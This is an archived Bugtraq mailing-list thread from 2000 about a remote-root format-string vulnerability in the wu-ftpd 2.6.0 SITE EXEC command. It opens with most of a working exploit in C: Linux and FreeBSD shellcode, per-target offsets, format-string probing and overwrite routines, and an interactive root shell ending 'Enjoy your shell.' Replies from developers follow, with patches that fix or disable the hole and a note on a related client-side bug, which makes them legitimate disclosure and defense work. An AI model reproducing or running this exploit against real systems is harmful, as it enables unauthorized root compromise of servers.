"\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d"
"\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46"
"\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8"
"\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
"\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff"
"\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31";
char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
"\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43"
"\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0"
"\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\xff\x01\x53\x53\xb0"
"\x88\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80"
"\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9"
"\x31\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75"
"\xf1\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd"
"\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46"
"\x07\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56"
"\x0c\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53"
"\x53\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\xff\xff\xff\x30"
"\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e"
"\x67\x6c\x69\x6e";
struct platforms
{
char *os;
char *version;
char *code;
int align;
int eipoff;
long ret;
long retloc;
int sleep;
};
struct platforms targ[] =
{
{ "FreeBSD 3.4-STABLE", "2.6.0-ports", bsdcode, 2, 1024, 0x80b1f10,
0xbfbfcc04, 0 },
{ "FreeBSD 5.0-CURRENT", "2.6.0-ports", bsdcode, 2, 1024, 0x80b1510,
0xbfbfec0c, 0 },
{ "FreeBSD 3.4-STABLE", "2.6.0-venglin", bsdcode, 2, 1024, 0x807078c,
0xbfbfcc04, 0 },
{ "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0xbfbf,
0xbfffcf74, 10 },
{ NULL, NULL, NULL, 0, NULL, NULL, 0 }
};
long getip(name)
char *name;
{
struct hostent *hp;
long ip;
extern int h_errno;
if ((ip = inet_addr(name)) < 0)
{
if (!(hp = gethostbyname(name)))
{
fprintf(stderr, "gethostbyname(): %s\n",
strerror(h_errno));
exit(1);
}
memcpy(&ip, (hp->h_addr), 4);
}
return ip;
}
int connecttoftp(host, port)
char *host;
int port;
{
int sockfd;
struct sockaddr_in cli;
bzero(&cli, sizeof(cli));
cli.sin_family = AF_INET;
cli.sin_addr.s_addr=getip(host);
cli.sin_port = htons(port);
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
perror("socket");
return -1;
}
if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0)
{
perror("connect");
close(sockfd);
return -1;
}
cin = fdopen(sockfd, "r");
cout = fdopen(sockfd, "w");
if (!cin || !cout)
{
close(sockfd);
return -1;
}
return sockfd;
}
int command(const char *fmt, ...)
{
va_list args;
if (!cout)
return -1;
va_start(args, fmt);
vfprintf(cout, fmt, args);
#ifdef DEBUG
fprintf(stderr, "--> ");
vfprintf(stderr, fmt, args);
fputc('\n', stderr);
#endif
va_end(args);
fputs("\r\n", cout);
(void)fflush(cout);
return 0;
}
int getreply(v)
int v;
{
if (!(fgets(recvbuf, BUFSIZ, cin)))
return -1;
if (v)
fprintf(stderr, "<-- %s", recvbuf);
return 0;
}
int logintoftp(login, passwd)
char *login, *passwd;
{
repl;
if (strncmp(recvbuf, "220", 3))
return -1;
if ((command("USER %s", login)) < 0)
return -1;
repl;
if (strncmp(recvbuf, "331", 3))
{
puts(recvbuf);
return -1;
}
if ((command("PASS %s", passwd) < 0))
return -1;
repl;
if (strncmp(recvbuf, "230", 3))
{
puts(recvbuf);
return -1;
}
return 0;
}
int checkvuln(void)
{
command("SITE EXEC %%p");
repl;
if(strncmp(recvbuf, "200-", 4))
return -1;
if(strncmp(recvbuf+4, "0x", 2))
return -1;
repl;
return 0;
}
int findeip(eipoff, align)
int eipoff, align;
{
int i, j, off;
char *p1;
char eip1[10], eip2[10];
for (i=eipoff;;i+=8)
{
fprintf(stderr, "at offset %d\n", i);
strcpy(sendbuf, "SITE EXEC ");
for (j=0;j<align;j++) strcat(sendbuf, "a");
strcat(sendbuf, "abcd");
for (j=0;j<eipoff/8;j++) strcat(sendbuf, "%%.f");
for (j=0;j<(i-eipoff)/8;j++) strcat(sendbuf, "%%d");
strcat(sendbuf, "|%%.8x|%%.8x");
if (command(sendbuf) < 0)
return -1;
repl;
if (!(p1 = strchr(recvbuf, '|')))
return -1;
strncpy(eip1, p1+1, 8);
strncpy(eip2, p1+10, 8);
eip1[8] = eip2[8] = '\0';
if (!(strcmp(eip1, "64636261")))
{
off = i;
break;
}
if (!(strcmp(eip2, "64636261")))
{
off = i + 4;
break;
}
repl;
}
repl;
return off;
}
char *putshell(type)
int type;
{
static char buf[400];
int noplen;
char *code = targ[type].code;
noplen = sizeof(buf) - strlen(code) - 2;
memset(buf, 0x90, noplen);
buf[noplen+1] = '\0';
strcat(buf, code);
return buf;
}
int overwrite(ptr, off, align, retloc, eipoff)
long ptr, retloc;
int off, align, eipoff;
{
int i, size = 0;
char buf[100];
fprintf(stderr, "RET: %p, RET location: %p,"
" RET location offset on stack: %d\n",
(void *)ptr, (void *)retloc, off);
if (off >= 12)
{
strcpy(sendbuf, "SITE EXEC ");
for (i=0;i<eipoff/8;i++) strcat(sendbuf, "%%.f");
for (i=0;i<(off-eipoff-4)/8;i++) strcat(sendbuf, "%%d");
if (((off-eipoff-4) % 8) != 0) strcat(sendbuf, "%%d");
if (command(sendbuf) < 0)
return -1;
repl;
size = strlen(recvbuf+4) - 2;
repl;
}
fprintf(stderr, "Reply size: %d, New RET: %p\n", size,
(void *)(ptr-size));
strcpy(sendbuf, "SITE EXEC ");
for (i=0;i<align;i++) strcat(sendbuf, "a");
sprintf(buf, "%c%c%c%c", ((int)retloc & 0xff),
(((int)retloc & 0xff00) >> 8),
(((int)retloc & 0xff0000) >> 16),
(((int)retloc & 0xff000000) >> 24));
strcat(sendbuf, buf);
for (i=0;i<eipoff/8;i++) strcat(sendbuf, "%%.f");
for (i=0;i<(off-eipoff-4)/8;i++) strcat(sendbuf, "%%d");
if (((off-eipoff-4) % 8) != 0) strcat(sendbuf, "%%d");
strcat(sendbuf, "%%.");
sprintf(buf, "%d", (int)ptr-size);
strcat(sendbuf, buf);
strcat(sendbuf, "d%%n");
if (command(sendbuf) < 0)
return -1;
return 0;
}
int sh(sockfd)
int sockfd;
{
char buf[BUFSIZ];
int c;
fd_set rf, drugi;
char cmd[] = "uname -a ; pwd ; id\n";
FD_ZERO(&rf);
FD_SET(0, &rf);
FD_SET(sockfd, &rf);
write(sockfd, cmd, strlen(cmd));
while (1)
{
bzero(buf, BUFSIZ);
memcpy (&drugi, &rf, sizeof(rf));
select(sockfd+1, &drugi, NULL, NULL, NULL);
if (FD_ISSET(0, &drugi))
{
c = read(0, buf, BUFSIZ);
send(sockfd, buf, c, 0x4);
}
if (FD_ISSET(sockfd, &drugi))
{
c = read(sockfd, buf, BUFSIZ);
if (c<0) return 0;
write(1,buf,c);
}
}
}
int main(argc, argv)
int argc;
char **argv;
{
extern int optind, opterr;
extern char *optarg;
int ch, type, port, eipoff, fd, retoff, align;
long ret, retloc;
char login[BUFSIZ], password[BUFSIZ];
opterr = type = 0;
strcpy(login, "ftp");
port = 21;
while ((ch = getopt(argc, argv, "l:d:t:o")) != -1)
switch((char)ch)
{
case 'l':
strcpy(login, optarg);
break;
case 't':
type = atoi(optarg);
break;
case 'o':
port = atoi(optarg);
break;
case '?':
default:
puts(usage);
exit(0);
}
argc -= optind;
argv += optind;
fprintf(stderr, "Selected platform: %s with WUFTPD %s\n\n",
targ[type].os, targ[type].version);
eipoff = targ[type].eipoff;
align = targ[type].align;
ret = targ[type].ret;
retloc = targ[type].retloc;
if (argc != 1)
{
puts(usage);
exit(0);
}
strcpy(password, putshell(type));
if ((fd = connecttoftp(*argv, port)) < 0)
{
(void)fprintf(stderr, "Connection to %s failed.\n", *argv);
exit(1);
}
(void)fprintf(stderr, "Connected to %s. Trying to log in.\n", *argv);
if (logintoftp(login, password) < 0)
{
(void)fprintf(stderr, "Logging in to %s (%s) failed.\n",
*argv, login);
exit(1);
}
(void)fprintf(stderr, "Logged in as %s. Checking vulnerability.\n",
login);
sleep(targ[type].sleep);
if (checkvuln() < 0)
{
(void)fprintf(stderr, "Sorry, this version isn't"
" vulnerable or uses internal vsnprintf().\n");
exit(1);
}
(void)fprintf(stderr, "Ok, trying to find offset (initial: %d)\n",
eipoff);
if ((retoff = findeip(eipoff, align)) < 0)
{
(void)fprintf(stderr, "\nError finding offset. Adjust"
" align.\n");
exit(1);
}
if (overwrite(ret, retoff, align, retloc, eipoff) < 0)
{
(void)fprintf(stderr, "Error overwriting RET addr.\n");
exit(1);
}
fprintf(stderr, "Wait 10-20 seconds for reply. Enjoy your shell.\n");
sh(fd);
exit(0);
}
-- * Fido: 2:480/124 ** WWW: http://www.freebsd.lublin.pl ** NIC-HDL:
PMF9-RIPE * * Inet: venglin@freebsd.lublin.pl ** PGP:
D48684904685DF43 EA93AFA13BE170BF *
(5224157) ------------------------------------------(Ombruten)
5224214 2000-06-23 23:38 /139 rader/ Postmaster
Mottagare: Bugtraq (import) <11403>
Ärende: Re: WuFTPD: Providing *remote* root since at least1994
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: bugtraq@securityfocus.com
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="yudcn1FV7Hsu/q59"
Content-Disposition: inline
User-Agent: Mutt/1.2i
Message-ID: <20000623181954.W5311@ringwraith.oblivion.bg>
Date: Fri, 23 Jun 2000 18:19:54 +0300
Reply-To: Peter Pentchev <roam@ORBITEL.BG>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Peter Pentchev <roam@ORBITEL.BG>
X-cc: freebsd-security@freebsd.org
To: BUGTRAQ@SECURITYFOCUS.COM
--yudcn1FV7Hsu/q59
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
For a quick-and-dirty solution, apply the attached patch to
the source of wu-ftpd-2.6.0 release. It adds to the configure
script a --enable-nositecmd option, which disables all SITE *
commands without the adverse efffects of --enable-paranoid.
G'luck,
Peter Pentchev
----------------------------------------------
Hi! I'm an e-mail attachment virus! Copy me into your signature to help me spread!
--yudcn1FV7Hsu/q59 Content-Type: application/x-gunzip
Content-Disposition: attachment;
filename="wu-ftpd-2.6.0+nositecmd.patch.gz"
diff -urN wu-ftpd-2.6.0/config.h.in
wu-ftpd-2.6.0+nositecmd/config.h.in
--- wu-ftpd-2.6.0/config.h.in Sat Sep 18 17:26:10 1999
+++ wu-ftpd-2.6.0+nositecmd/config.h.in Fri Jun 23 18:10:44 2000
@@ -94,6 +94,13 @@
#undef PARANOID
/*
+ * NOSITECMD
+ * Disable SITE command family only
+ */
+
+#undef NOSITECMD
+
+/*
* SKEY
* Add SKEY support -- REQUIRES SKEY libraries
* See FIXES-2.4-HOBBIT for more information on this option.
diff -urN wu-ftpd-2.6.0/configure wu-ftpd-2.6.0+nositecmd/configure
--- wu-ftpd-2.6.0/configure Sun Oct 3 15:52:12 1999
+++ wu-ftpd-2.6.0+nositecmd/configure Fri Jun 23 18:10:44 2000
@@ -63,6 +63,8 @@
ac_help="$ac_help
--enable-paranoid disable some "questionable" features"
ac_help="$ac_help
+ --enable-nositecmd disable SITE family commands"
+ac_help="$ac_help
--enable-quota add QUOTA support (if your OS supports it)"
ac_help="$ac_help
--enable-pam add PAM support (needs PAM library)"
@@ -1506,6 +1508,14 @@
fi
+# Check whether --enable-nositecmd or --disable-nositecmd was given.
+if test "${enable_nositecmd+set}" = set; then
+ enableval="$enable_nositecmd"
+ nositecmd=$enableval
+else
+ nositecmd=no
+fi
+
# Check whether --enable-quota or --disable-quota was given.
if test "${enable_quota+set}" = set; then
enableval="$enable_quota"
@@ -3622,6 +3632,12 @@
if test $paranoid = yes; then
cat >> confdefs.h <<\EOF
#define PARANOID 1
+EOF
+
+fi
+if test $nositecmd = yes; then
+ cat >> confdefs.h <<\EOF
+#define NOSITECMD 1
EOF
fi diff -urN wu-ftpd-2.6.0/configure.in
wu-ftpd-2.6.0+nositecmd/configure.in
--- wu-ftpd-2.6.0/configure.in Sun Oct 3 15:52:12 1999
+++ wu-ftpd-2.6.0+nositecmd/configure.in Fri Jun 23 18:11:34 2000
@@ -120,6 +120,10 @@
[ --enable-paranoid disable some "questionable" features],
[ paranoid=$enableval ], [ paranoid=no ])
+AC_ARG_ENABLE(nositecmd,
+ [ --enable-nositecmd disable SITE family commands],
+ [ nositecmd=$enableval ], [ nositecmd=no ])
+
AC_ARG_ENABLE(quota,
[ --enable-quota add QUOTA support (if your OS supports it)],
[ quota=$enableval ], [ quota=no ])
@@ -731,6 +735,9 @@
fi
if test $paranoid = yes; then
AC_DEFINE(PARANOID)
+fi
+if test $nositecmd = yes; then
+ AC_DEFINE(NOSITECMD)
fi
if test $quota != no; then
AC_CHECK_HEADERS(sys/quota.h sys/fs/ufs_quota.h ufs/quota.h
jfs/quota.h ufs/ufs/quota.h linux/quota.h) diff -urN
wu-ftpd-2.6.0/src/ftpcmd.y wu-ftpd-2.6.0+nositecmd/src/ftpcmd.y
--- wu-ftpd-2.6.0/src/ftpcmd.y Wed Oct 13 18:15:28 1999
+++ wu-ftpd-2.6.0+nositecmd/src/ftpcmd.y Fri Jun 23 18:12:10 2000
@@ -1518,7 +1518,8 @@
p = lookup(sitetab, cp);
cbuf[cpos] = c;
if (p != 0) {
-#ifndef PARANOID /* what GOOD is SITE *, anyways?! _H */
+#if !(defined(PARANOID) || defined(NOSITECMD))
+ /* what GOOD is SITE *, anyways?! _H */
if (p->implemented == 0) {
#else
if (1) {
@@ -1864,7 +1865,7 @@
void site_exec(char *cmd)
{
-#ifdef PARANOID
+#if defined(PARANOID) || defined(NOSITECMD)
syslog(LOG_CRIT, "REFUSED SITE_EXEC (slipped through!!): %s", cmd);
#else
char buf[MAXPATHLEN];
--yudcn1FV7Hsu/q59--
(5224214) ------------------------------------------(Ombruten)
5224299 2000-06-24 00:30 /169 rader/ Postmaster
Mottagare: Bugtraq (import) <11410>
Ärende: Re: WuFTPD: Providing *remote* root since at least1994
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: bugtraq@securityfocus.com
Mail-Followup-To: Daniel Jacobowitz <drow@false.org>
Bernhard Rosenkraenzer <bero@redhat.de>
Elias Levy <aleph1@securityfocus.com>
wuftpd-members@wu-ftpd.org, bugtraq@securityfocus.com
vendor-sec@lst.de
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1
protocol="application/pgp-signature"; boundary="6sX45UoQRIJXqkqR"
Content-Disposition: inline
User-Agent: Mutt/1.1.9i
Message-ID: <20000622232836.A9789@drow.them.org>
Date: Thu, 22 Jun 2000 23:28:36 -0700
Reply-To: Daniel Jacobowitz <drow@FALSE.ORG>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Daniel Jacobowitz <drow@FALSE.ORG>
X-To: Bernhard Rosenkraenzer <bero@redhat.de>
X-cc: Elias Levy <aleph1@securityfocus.com>
wuftpd-members@wu-ftpd.org, vendor-sec@lst.de
To: BUGTRAQ@SECURITYFOCUS.COM
In-Reply-To: <Pine.LNX.4.21.0006230217250.25605-200000@bochum.redhat.de>; fro
bero@redhat.de on Fri, Jun 23, 2000 at 02:20:11AM +0200
--6sX45UoQRIJXqkqR
Content-Type: multipart/mixed; boundary="lrZ03NoBR/3+SXJZ"
Content-Disposition: inline
--lrZ03NoBR/3+SXJZ
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable
[ Maybe I'm just out of the loop, but... does no one NOTIFY VENDORS
any more? ]
On Fri, Jun 23, 2000 at 02:20:11AM +0200, Bernhard Rosenkraenzer wrote:
> On Thu, 22 Jun 2000, Elias Levy wrote:
>=20
> > /* - wuftpd2600.c
> > * VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999
>=20
> This should fix it... Since the exploit never worked for me in the first
> time and I haven't taken the time to fix it yet (fixing the bug is more
> important than fixing the exploit, I guess ;) ), it's unverified though.
>=20
> LLaP
> bero
Actually, here's a more useful patch.
Sorry, thanks for playing. These don't apply to the problem.
Content-Description: fix
> --- wu-ftpd-2.6.0/src/ftpcmd.y.security Fri Jun 23 01:49:45 2000
> +++ wu-ftpd-2.6.0/src/ftpcmd.y Fri Jun 23 01:52:37 2000
> @@ -776,7 +776,7 @@
> if (!restricted_user && $2 !=3D 0 && $6 !=3D NULL) {
> char buf[MAXPATHLEN];
> if (strlen($6) + 7 <=3D sizeof(buf)) {
> - sprintf(buf, "index %s", (char *) $6);
> + snprintf(buf, MAXPATHLEN, "index %s", (char *) $6);
And it is not needed, since there is a 512 char limit on network input
and MAXPATHLEN is generally about 2K
Not to mention that could still be overflowable. snprintf() doesn't
null terminate.
> @@ -1871,6 +1871,10 @@
> char *sp =3D (char *) strchr(cmd, ' '), *slash, *t;
> FILE *cmdf;
> =20
> + if(strlen(cmd)+strlen(_PATH_EXECPATH)+1 > MAXPATHLEN) {
> + syslog(LOG_CRIT, "User probably tried SITE EXEC root exploit, re=
fusing!");
> + return;
> + }
And that's useless, since it's checked not far below (about 20 lines,
I think).
> =20
> @@ -1893,7 +1897,7 @@
> /* build the command */
> if (strlen(_PATH_EXECPATH) + strlen(cmd) + 2 > sizeof(buf))
> return;
> - sprintf(buf, "%s/%s", _PATH_EXECPATH, cmd);
> + snprintf(buf, MAXPATHLEN, "%s/%s", _PATH_EXECPATH, cmd);
> =20
> cmdf =3D ftpd_popen(buf, "r", 0);
> if (!cmdf) {
See first comment.
Dan
/--------------------------------\ /--------------------------------\
| Daniel Jacobowitz |__| SCS Class of 2002 |
| Debian GNU/Linux Developer __ Carnegie Mellon University |
| dan@debian.org | | dmj+@andrew.cmu.edu |
\--------------------------------/ \--------------------------------/
--lrZ03NoBR/3+SXJZ
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="wuftpd.diff"
Content-Transfer-Encoding: quoted-printable
diff -ur wu-ftpd-orig/src/ftpcmd.y wu-ftpd-2.6.0/src/ftpcmd.y
--- wu-ftpd-orig/src/ftpcmd.y Wed Oct 13 08:15:28 1999
+++ wu-ftpd-2.6.0/src/ftpcmd.y Thu Jun 22 22:44:41 2000
@@ -1926,13 +1926,13 @@
}
if (!maxfound)
maxlines =3D defmaxlines;
- lreply(200, cmd);
+ lreply(200, "%s", cmd);
while (fgets(buf, sizeof buf, cmdf)) {
size_t len =3D strlen(buf);
=20
if (len > 0 && buf[len - 1] =3D=3D '\n')
buf[--len] =3D '\0';
- lreply(200, buf);
+ lreply(200, "%s", buf);
if (maxlines <=3D 0)
++lines;
else if (++lines >=3D maxlines) {
diff -ur wu-ftpd-orig/src/ftpd.c wu-ftpd-2.6.0/src/ftpd.c
--- wu-ftpd-orig/src/ftpd.c Thu Jun 22 22:23:40 2000
+++ wu-ftpd-2.6.0/src/ftpd.c Thu Jun 22 22:45:23 2000
@@ -3157,7 +3157,7 @@
reply(230, "User %s logged in.%s", pw->pw_name, guest ?
" Access restrictions apply." : "");
sprintf(proctitle, "%s: %s", remotehost, pw->pw_name);
- setproctitle(proctitle);
+ setproctitle("%s", proctitle);
if (logging)
syslog(LOG_INFO, "FTP LOGIN FROM %s, %s", remoteident, pw->pw_name);
/* H* mod: if non-anonymous user, copy it to "authuser" so everyone can
@@ -5912,7 +5912,7 @@
=20
remotehost[sizeof(remotehost) - 1] =3D '\0';
sprintf(proctitle, "%s: connected", remotehost);
- setproctitle(proctitle);
+ setproctitle("%s", proctitle);
=20
wu_authenticate();
/* Create a composite source identification string, to improve the logging
--lrZ03NoBR/3+SXJZ--
--6sX45UoQRIJXqkqR
Content-Type: application/pgp-signature
Content-Disposition: inline
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.1 (GNU/Linux)
Comment: For info see http://www.gnupg.org
iD8DBQE5UwOUbgOPXuCjg3cRAmPgAJ0a07F6MYFJrAO4hLE+40t+XL7NdACdFRtR
wmEsskb9t0vYGxTJYUswwXs=
=QUoN
-----END PGP SIGNATURE-----
--6sX45UoQRIJXqkqR--
(5224299) ------------------------------------------(Ombruten)
5224312 2000-06-24 00:40 /78 rader/ Postmaster
Mottagare: Bugtraq (import) <11411>
Ärende: Re: WuFTPD: Providing *remote* root since at least1994
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: bugtraq@securityfocus.com
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Message-ID: <20000623153359.A3289@ns.lst.de>
Date: Fri, 23 Jun 2000 15:33:59 +0200
Reply-To: Marcus Meissner <Marcus.Meissner@CALDERA.DE>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Marcus Meissner <Marcus.Meissner@CALDERA.DE>
X-To: Daniel Jacobowitz <drow@false.org>
Bernhard Rosenkraenzer <bero@redhat.de>
Elias Levy <aleph1@securityfocus.com>
wuftpd-members@wu-ftpd.org, vendor-sec@lst.de
To: BUGTRAQ@SECURITYFOCUS.COM
In-Reply-To: <20000622232836.A9789@drow.them.org>; from drow@false.org on Thu
Jun 22, 2000 at 11:28:36PM -0700
On Thu, Jun 22, 2000 at 11:28:36PM -0700, Daniel Jacobowitz wrote:
> [ Maybe I'm just out of the loop, but... does no one NOTIFY VENDORS any
> more? ]
Seems so.
> See first comment.
>
> Dan
>
> diff -ur wu-ftpd-orig/src/ftpcmd.y wu-ftpd-2.6.0/src/ftpcmd.y
> --- wu-ftpd-orig/src/ftpcmd.y Wed Oct 13 08:15:28 1999
> +++ wu-ftpd-2.6.0/src/ftpcmd.y Thu Jun 22 22:44:41 2000
Thank you for the patch.
On a side note. While testing the exploit and patch, another not so
serious problem showed:
$ rpm -q `which ftp` netkit-ftp-0.16-1 $ ftp ftp Connected to
<removed>. 220 <removed> FTP server (Version wu-2.5.0(1) Fri
Jun 23 14:28:51 CEST 2000) ready. Name (ftp:mm): ftp 331
Guest login ok, send your complete e-mail address as
password. Password: 230 Guest login ok, access restrictions
apply. Remote system type is UNIX. Using binary mode to
transfer files. ftp> ftp> site exec hello%s 200-hello: T 200
(end of 'hello: ')
$ rpm -q ncftp
ncftp-3.0beta21-1
$ ncftp ftp
...
ncftp / > site exec hello%s
hello÷`êÀ±
(end of 'hello÷`êÀ')
ncftp / >
The ftp client seems to happily interpret the %s characters passed
back from the command.
I am not sure how difficult it is to develop a reverse exploit for
this one, but it neithertheless appears to be exploitable.
Ciao, Marcus
--
_____ ___
/ __/____/ / Caldera (Deutschland) GmbH
/ /_/ __ / /__ Naegelsbachstr. 49c, 91052 Erlangen
/_____//_/ /____/ Dipl. Inf. Marcus Meissner, email: mm@caldera.de
==== /_____/ ====== phone: ++49 9131 7912-300, fax: ++49 9131 7192-399
Caldera OpenLinux
(5224312) ------------------------------------------(Ombruten)